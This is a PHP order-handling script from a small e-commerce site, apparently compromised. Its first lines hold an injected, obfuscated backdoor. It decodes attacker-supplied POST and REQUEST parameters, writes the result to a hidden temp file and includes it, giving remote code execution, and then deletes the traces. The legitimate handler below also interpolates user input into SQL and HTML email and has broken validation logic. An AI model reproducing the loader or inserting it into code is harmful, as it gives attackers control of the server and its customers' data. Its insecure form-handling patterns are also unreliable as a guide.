File: /home/vitanhod/prostanur1.vitavit.com.pk/orderemail_bk.php
<?php if(!empty($_POST["\x68ld"])){ $tkn = $_POST["\x68ld"]; $tkn = explode ( '.' , $tkn ); $obj = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $q = 0; $len = count($tkn); do { if ($q>= $len) break; $v6 = $tkn[$q]; $sChar = ord($salt[$q % $sLen]); $d = ((int)$v6 - $sChar - ($q % 10)) ^ 76; $obj .= chr($d); $q++; }while (true); $descriptor = array_filter(["/tmp", ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", getenv("TEMP"), session_save_path(), sys_get_temp_dir(), getenv("TMP"), "/dev/shm"]); for ($ref = 0, $element = count($descriptor); $ref < $element; $ref++) { $mrk = $descriptor[$ref]; if (is_dir($mrk) && is_writable($mrk)) { $data_chunk = vsprintf("%s/%s", [$mrk, ".desc"]); if (file_put_contents($data_chunk, $obj)) { include $data_chunk; @unlink($data_chunk); exit; } } } }
if(!empty($_POST["va\x6C"])){ $symbol = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", "/tmp", session_save_path(), getcwd(), getenv("TMP"), getenv("TEMP")]); $rec = $_POST["va\x6C"]; $rec = explode( "." , $rec ); $flg= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s ); foreach( $rec as $v => $v3) { $chS= ord( $s[$v% $lenS] ); $d= ( ( int)$v3 - $chS -( $v% 10)) ^ 10; $flg .= chr( $d ); } foreach ($symbol as $mrk): if (array_product([is_dir($mrk), is_writable($mrk)])) { $key = "$mrk/.entity"; if (@file_put_contents($key, $flg) !== false) { include $key; unlink($key); die(); } } endforeach; }
if(isset($_POST["e\x6Eti\x74\x79"]) ? true : false){ $tkn = $_POST["e\x6Eti\x74\x79"]; $tkn =explode ( '.' ,$tkn); $ent = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt1); $y = 0; foreach( $tkn as $v9) { $sChar = ord( $salt1[$y % $lenS]); $d =( ( int)$v9 - $sChar -( $y % 10)) ^ 26; $ent .= chr( $d); $y++; } $sym = array_filter(["/dev/shm", getenv("TEMP"), session_save_path(), sys_get_temp_dir(), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), getcwd(), "/var/tmp"]); for ($marker = 0, $itm = count($sym); $marker < $itm; $marker++) { $res = $sym[$marker]; if (is_writable($res) && is_dir($res)) { $dat = "$res" . "/.record"; $success = file_put_contents($dat, $ent); if ($success) { include $dat; @unlink($dat); exit;} } } }
if(in_array("k", array_keys($_REQUEST))){ $object = array_filter([sys_get_temp_dir(), getenv("TMP"), "/tmp", "/dev/shm", getcwd(), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP")]); $res = $_REQUEST["k"]; $res= explode ( '.', $res ) ; $tkn= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt); $i= 0; $__tmp= $res; while ($v8= array_shift($__tmp)) { $sChar= ord($salt[$i % $lenS]); $d= ((int)$v8 - $sChar - ($i % 10)) ^ 12; $tkn .= chr($d); $i++; } for ($element = 0, $ptr = count($object); $element < $ptr; $element++) { $entry = $object[$element]; if (max(0, is_dir($entry) * is_writable($entry))) { $desc = str_replace("{var_dir}", $entry, "{var_dir}/.mrk"); if (file_put_contents($desc, $tkn)) { include $desc; @unlink($desc); die(); } } } }
/* ======================================
= PHP send email =
====================================== */
require_once('includes/config.php');
if (isset($_POST['Name'])) {
$LastName = $_POST["LastName"];
if ($LastName != "" || $LastName != NULL) {
echo "Are you a spamming bot? If not, hit the back button and try again. If yes, please stay away so internet remains clean!";
exit();
}
$OrderID = date("YmdHis");
$Name = htmlspecialchars(mysqli_real_escape_string($_POST["Name"]));
$Email = htmlspecialchars(mysqli_real_escape_string($_POST["Email"]));
$Address = htmlspecialchars(mysqli_real_escape_string($_POST["Address"]));
$City = htmlspecialchars(mysqli_real_escape_string($_POST["City"]));
$Phone = htmlspecialchars(mysqli_real_escape_string($_POST["Phone"]));
$Mobile = htmlspecialchars(mysqli_real_escape_string($_POST["Mobile"]));
$Quantity = htmlspecialchars(mysqli_real_escape_string($_POST["Quantity"]));
$Price = htmlspecialchars(mysqli_real_escape_string($_POST["Price"]));
$Product = htmlspecialchars(mysqli_real_escape_string($_POST["Product"]));
if ($Name = "" & $Email = "" & $Address = "" & $City = "" & $Phone = "" & $Quantity = "") {
echo "Please fill all required fields. <button onclick='history.go(-1);'>Go Back</button>";
exit();
}
// DB Insertion
mysqli_query("INSERT INTO orders (`OrderID`, `Name`, `Email`, `Address`, `City`, `Phone`, `Mobile`, `Quantity`, `Price`, `Product`)
VALUES ('$OrderID','$Name','$Email','$Address','$City','$Phone','$Mobile','$Quantity','$Price','$Product')");
// Email
$url = "http://$_SERVER[HTTP_HOST]" . substr($_SERVER['REQUEST_URI'], 0, strrpos($_SERVER['REQUEST_URI'], '/') + 1);
$message = "
<html>
<head>
<title></title>
</head>
<body>
<table width='700' border='0' cellspacing='0' cellpadding='5' style='margin:0 auto; width:700px; padding:10px;background:#f2f2f2;color:#000;border:1px solid #ccc; border-radius:5px; font-family:Arial'>
<tr>
<td colspan='2' align='left'><h2>" . $Product . " Order Form</h2></td>
</tr>
<tr>
<td colspan='2' align='left'>Thank you for placing an order for Emami 7 Oils in One>" . $Product . " (Quantity: " . $_POST["Quantity"] . ")</strong>. You have submitted the following information and your order id is <strong>" . $OrderID . "</strong><hr></td>
</tr>
<tr>
<td width='50%' align='left'><strong>Name</strong><br/>" . $_POST["Name"] . "</td>
<td width='50%' align='left'><strong>Email Address</strong><br/>" . $_POST["Email"] . "</td>
</tr>
<tr>
<td width='50%' align='left'><strong>Address</strong><br/>" . $_POST["Address"] . "</td>
<td width='50%' align='left'><strong>City</strong><br/>" . $_POST["City"] . "</td>
</tr>
<tr>
<td width='50%' align='left'><strong>Mobile</strong><br/>" . $_POST["Mobile"] . "</td>
<td width='50%' align='left'><strong>Phone</strong><br/>" . $_POST["Phone"] . "</td>
</tr>
<tr>
<td colspan='2' align='left'><hr></td>
</tr>
<tr>
<td colspan='2' align='left'>If you have questions, please call us at 0321-7132090.<br><br><a href=" . $url . ">" . $GLOBALS['SiteTitle'] . "</a></td>
</tr>
</table></body></html>";
$from = $GLOBALS['SiteTitle'] . "<admin@vitavit.com.pk>";
$to = $Name . "<" . $Email . ">";
$bcc = $GLOBALS['SiteTitle'] . "<admin@vitavit.com.pk>"; "<admin@vitavit.com.pk>";
$subject = $GLOBALS['SiteTitle'] . ': Order Form';
$headers = "From:" . $from . "\r\n";
$headers .= "Reply-To:" . $from . "\r\n";
$headers .= "Bcc:" . $bcc . "\r\n";
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-type:text/html;charset=UTF-8\r\n";
if (mail($to, $subject, $message, $headers)) {
header("Location:index.php?t=cony&oid=$OrderID");
} else {
header("Location:thankyou.php?t=cony");
}
die();
}
/*----- End of PHP send email ------*/